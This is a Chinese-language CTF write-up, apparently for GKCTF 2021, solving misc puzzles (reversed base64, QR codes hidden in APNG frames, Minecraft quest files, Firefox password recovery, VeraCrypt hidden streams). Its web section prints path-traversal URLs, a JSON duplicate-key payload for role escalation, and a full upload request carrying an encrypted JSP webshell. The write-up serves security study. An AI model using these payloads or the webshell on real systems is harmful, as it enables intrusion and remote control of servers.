尝试了一波发现是16进制的base64编码,并且base64编码被反转了。
a = 'wIDIgACIgACIgAyIK0wIjMyIjMyIjMyIjMyIjMyIjMyIjMyIjMyIjMyIjMyIjMyIjMyIjMiCNoQD'
b='jMyIjMyIjMyIjMyIjMyIjMyIjMyIjMyIjMyIjoQDjACIgACIgACIggDM6EDM6AjMgAzMtMDMtEjM'
c='t0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0iCNMyIjMyIjMyIjMyI'
d='6AjMgAzMtMDMtEjMwIjO0eZ62ep5K0wKrQWYwVGdv5EItAiM1Aydl5mK6M6jlfpqnrQDt0SLt0SL'
e='t0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLK0AIdZavo75mlvlCNMTM6EDM'
f='z0yMw0SMyAjM6Q7lpb7lmrQDrsCZhBXZ09mTg0CIyUDI3VmbqozoPW+lqeuCN0SLt0SLt0SLt0SL'
g='sxWZld1V913e7d2ZhFGbsZmZg0lp9iunbW+Wg0lp9iunbW+Wg0lp9iunbW+WK0wMxoTMwoDMyACM'
h='DN0QDN0QDlWazNXMx0Wbf9lRGRDNDN0ard0Rf9VZl1WbwADIdRampDKilvFIdRampDKilvVKpM2Y'
i='==QIhM0QDN0Q'
a=a[::-1]
b=b[::-1]
c=c[::-1]
d=d[::-1]
e=e[::-1]
f=f[::-1]
g=g[::-1]
h=h[::-1]
i=i[::-1]
print(a+b+c+d+e+f+g+h+i)
#ffllaagg{{}}WWeellcc00mmee__GGkkCC44FF__mm11ssiiCCCCCCCCCCCC!!
解码得到notepad++的缓存文件:ffllaagg{{}}WWeellcc00mmee__GGkkCC44FF__mm11ssiiCCCCCCCCCCCC!!
自己手动修改一下得到flag{Welc0me_GkC4F_m1siCCCCCC!}
flag{a3c7e4e5-9b9d-ad20-0327-288a235370ea}。
这题真的是服了。
apng文件,浏览器打开发现其中某些帧内出现了二维码。
apng文件使用apngdis_gui.exe打开,将图片按帧分开。
分别在第二、第十、十八、二十六得到4张二维码。
02:
10:
18:
26:
其中后两张二维码直接用微信扫码就能出结果。不讨论
先说说第十怎么处理:
这张直接扫是扫不出来的,因为太淡了。
把第十张用stegsolve打开,查看Red通道2就可以扫了:
再来说说第二张,最耗时的也是这张。
这张因为是倾斜的,也扫不出来。最后使用这个工具qrazybox,一块块拼接起来。
复原后得到:
扫码得到flag的第一截。
四截拼起来就是flag。
这题要在《我的世界》这个游戏里面做任务,拿到最后一本书才能拿到flag。对于我这种从来不玩mc的人来说极其不友好,看了大佬的题解,可以直接翻找json得到flag.
part1:银杏岛の奇妙冒险\附件.minecraft\saves\Where is the flag\customnpcs\quests\主线\2.json:
part2:银杏岛の奇妙冒险\附件.minecraft\saves\Where is the flag\customnpcs\quests\主线\3.json:
part3:银杏岛の奇妙冒险\附件.minecraft\saves\Where is the flag\customnpcs\quests\主线\4.json:
part4:银杏岛の奇妙冒险\附件.minecraft\saves\Where is the flag\customnpcs\quests\主线\5.json:
合起来得到
GKCTF{w3lc0me_t0_9kctf_2021_Check_1n}
这题试了一下,后台地址是admin.php
用户名和密码是admin/12345
成功登陆后台。
不可见字符骚操作。
把存在不可见字符的框框涂黑,最后得到一张汉信码:
这题是FireFox密码取证。补一波基本知识:
下载远程主机的 C:\Users\x\AppData\Roaming\Mozilla\Firefox\Profiles\xx.default-release\ 目录下的
key4.db
logins.json
然后根据此2文件可以获取到FireFox的密码。
实用工具https://github.com/lclevy/firepwd
使用前要执行以下命令安装一些依赖:
python3 -m pip install -r requirements.txt ##安装 PyCryptodome>=3.9.0 pyasn1>=0.4.8
拿到flag。
解压得到txt和zip
zip⽂件名提示flag在磁盘⾥
使用VeraCrypt挂载试试:
需要密码。
这里官方的WP是使用AlternateStreamView等软件搜索数据流。
这里要补一波VeraCrypt的知识:https://www.bilibili.com/video/BV1aW411Z74m?from=search&seid=8954438565874392851
AlternateStreamView是一个小实用程序,允许您扫描NTFS驱动器,并找到存储在文件系统中的所有隐藏的备用流
注意,这里有一个坑。**如果文件原本是在压缩包内的,这时使用除WinRAR以外的软件进行提取会造成数据流丢失。所以务必使用WinRar进行文件解压。
我之前使用好压来解压就失败了,压根提取不到数据流。
把数据流提取出来之后得到:
根据官方WP这是个三分密码:
根据三分密码的对应字母表,得到密码为EBCCAFDDCE
或者UBMMASJJMU
使用EBCCAFDDCE重新挂载加密磁盘得到flag:
这题爆出了非预期。
先非预期来一波:
点击singup提示Not Allowed。
但是查看一下源码:
<html>
<head>
<title>Registertitle>
head>
<body>
<script>alert('Not Allowed')script>
<script src="http://code.jquery.com/jquery-latest.js">script>
<script type="text/javascript">
// var obj={};
// obj["username"]='test';
// obj["password"]='test';
// obj["role"]='guest';
function doRegister(obj){
if(obj.username==null || obj.password==null){
alert("用户名或密码不能为空");
}else{
var d = new Object();
d.username=obj.username;
d.password=obj.password;
d.role="guest";
$.ajax({
url:"/register",
type:"post",
contentType: "application/x-www-form-urlencoded; charset=utf-8",
data: "data="+JSON.stringify(d),
dataType: "json",
success:function(data){
alert(data)
}
});
}
}
script>
body>
html>
直接抓包POST发请求;
登录看下:
发现一个upload和一个download。经测试upload只能admin才能使用。
下载:http://ffbf27c2-54af-4c51-acf8-80525f5e12a0.node3.buuoj.cn/home/download?file=…/…/static/cat.gif
接下来看看java项目的目录:
由于开发工具的不同,在开发状态下的项目目录有点不太一样,我直接用eclipse打包了一个war包,把war包解压看看实际执行的项目是什么结构:
解压之后是这个样子。
尝试下载web.xml:
http://ffbf27c2-54af-4c51-acf8-80525f5e12a0.node3.buuoj.cn/home/download?file=…/…/WEB-INF/web.xml
成功:
根据上述web目录结构以及web.xml里面的映射,尝试下载源码:
http://ffbf27c2-54af-4c51-acf8-80525f5e12a0.node3.buuoj.cn/home/download?file=…/…/WEB-INF/classes/com/web/servlet/uploadServlet.class
使用JD-GUI反编译.class文件:
审计一下register看看有没有什么办法变成管理员:
import com.google.gson.Gson;
import com.mysql.cj.util.StringUtils;
import com.web.dao.Person;
import com.web.dao.baseDao;
import java.io.IOException;
import java.sql.Connection;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
public class registerServlet
extends HttpServlet {
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
resp.setContentType("text/html;charset=UTF-8");
req.setAttribute("error", "");
req.getRequestDispatcher("WEB-INF/register.jsp").forward((ServletRequest)req, (ServletResponse)resp);
}
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
resp.setCharacterEncoding("UTF-8");
Integer res = Integer.valueOf(0);
String role = "";
Gson gson = new Gson();
Person person = new Person();
Connection connection = null;
String var = req.getParameter("data").replaceAll(" ", "").replace("'", "\""); //把传进来的单引号替换成双引号
Pattern pattern = Pattern.compile("\"role\":\"(.*?)\""); //定义一个正则的编译表示,适配传进来的role这个字段
Matcher matcher = pattern.matcher(var);
while (matcher.find()) {
role = matcher.group();
}
if (!StringUtils.isNullOrEmpty(role)) {
var = var.replace(role, "\"role\":\"guest\""); //注册时把传进来的role一律替换成guest。
person = (Person)gson.fromJson(var, Person.class); //把传入的json字符串解析成对象
} else {
person = (Person)gson.fromJson(var, Person.class);
person.setRole("guest");
}
System.out.println(person);
if (person.getUsername() == null || person.getPassword() == null) resp.sendError(500, ");
person.setPic("/static/cat.gif");
try {
connection = baseDao.getConnection();
} catch (Exception e) {
e.printStackTrace();
}
if (connection != null) {
String sql_query = "select * from ctf where username=?";
Object[] params1 = { person.getUsername() };
try {
ResultSet rs = baseDao.execute(connection, sql_query, params1);
if (rs.next()) {
System.out.println(rs.next());
resp.sendError(500, "user already exists!");
} else {
String sql = "insert into ctf (username,password,role,pic) values (?,?,?,?)";
Object[] params2 = { person.getUsername(), person.getPassword(), person.getRole(), person.getPic() };
res = Integer.valueOf(baseDao.Update(connection, sql, params2));
}
} catch (SQLException e) {
e.printStackTrace();
}
baseDao.closeResource(connection, null, null);
}
if (res.intValue() == 1)
resp.getWriter().write("register success!");
}
}
比较重点的地方我加了注释。
这里在把json字符串解析成对象的时候,使用json的特性"a":“1”,“a”:“2”。后面的值会覆盖前面的值,而且json中可以使用/**/代替空格而不影响程序对json的解析,因此可以这样构造payload过正则:
data={"username":"admin","role":"admin","role"/**/:"admin","password":"123"}
变成管理员之后可以目录穿越,直接冰蝎一把梭:
POST /home/upload HTTP/1.1
Host: ffbf27c2-54af-4c51-acf8-80525f5e12a0.node3.buuoj.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------10785074997669248243606043085
Content-Length: 909
Origin: http://ffbf27c2-54af-4c51-acf8-80525f5e12a0.node3.buuoj.cn
Connection: close
Referer: http://ffbf27c2-54af-4c51-acf8-80525f5e12a0.node3.buuoj.cn/home/upload
Cookie: JSESSIONID=BC40EF0DC530DC714FE65CDAE45D1FD3
Upgrade-Insecure-Requests: 1
-----------------------------10785074997669248243606043085
Content-Disposition: form-data; name="file"; filename="../../static/shell.jsp"
Content-Type: application/octet-stream
<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" version="1.2"><jsp:directive.page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"/> class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}</jsp:declaration><jsp:scriptlet>String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);</jsp:scriptlet></jsp:root>
-----------------------------10785074997669248243606043085--
这里预期解有另外一题:
这题就比较难了,接下来做一下预期解: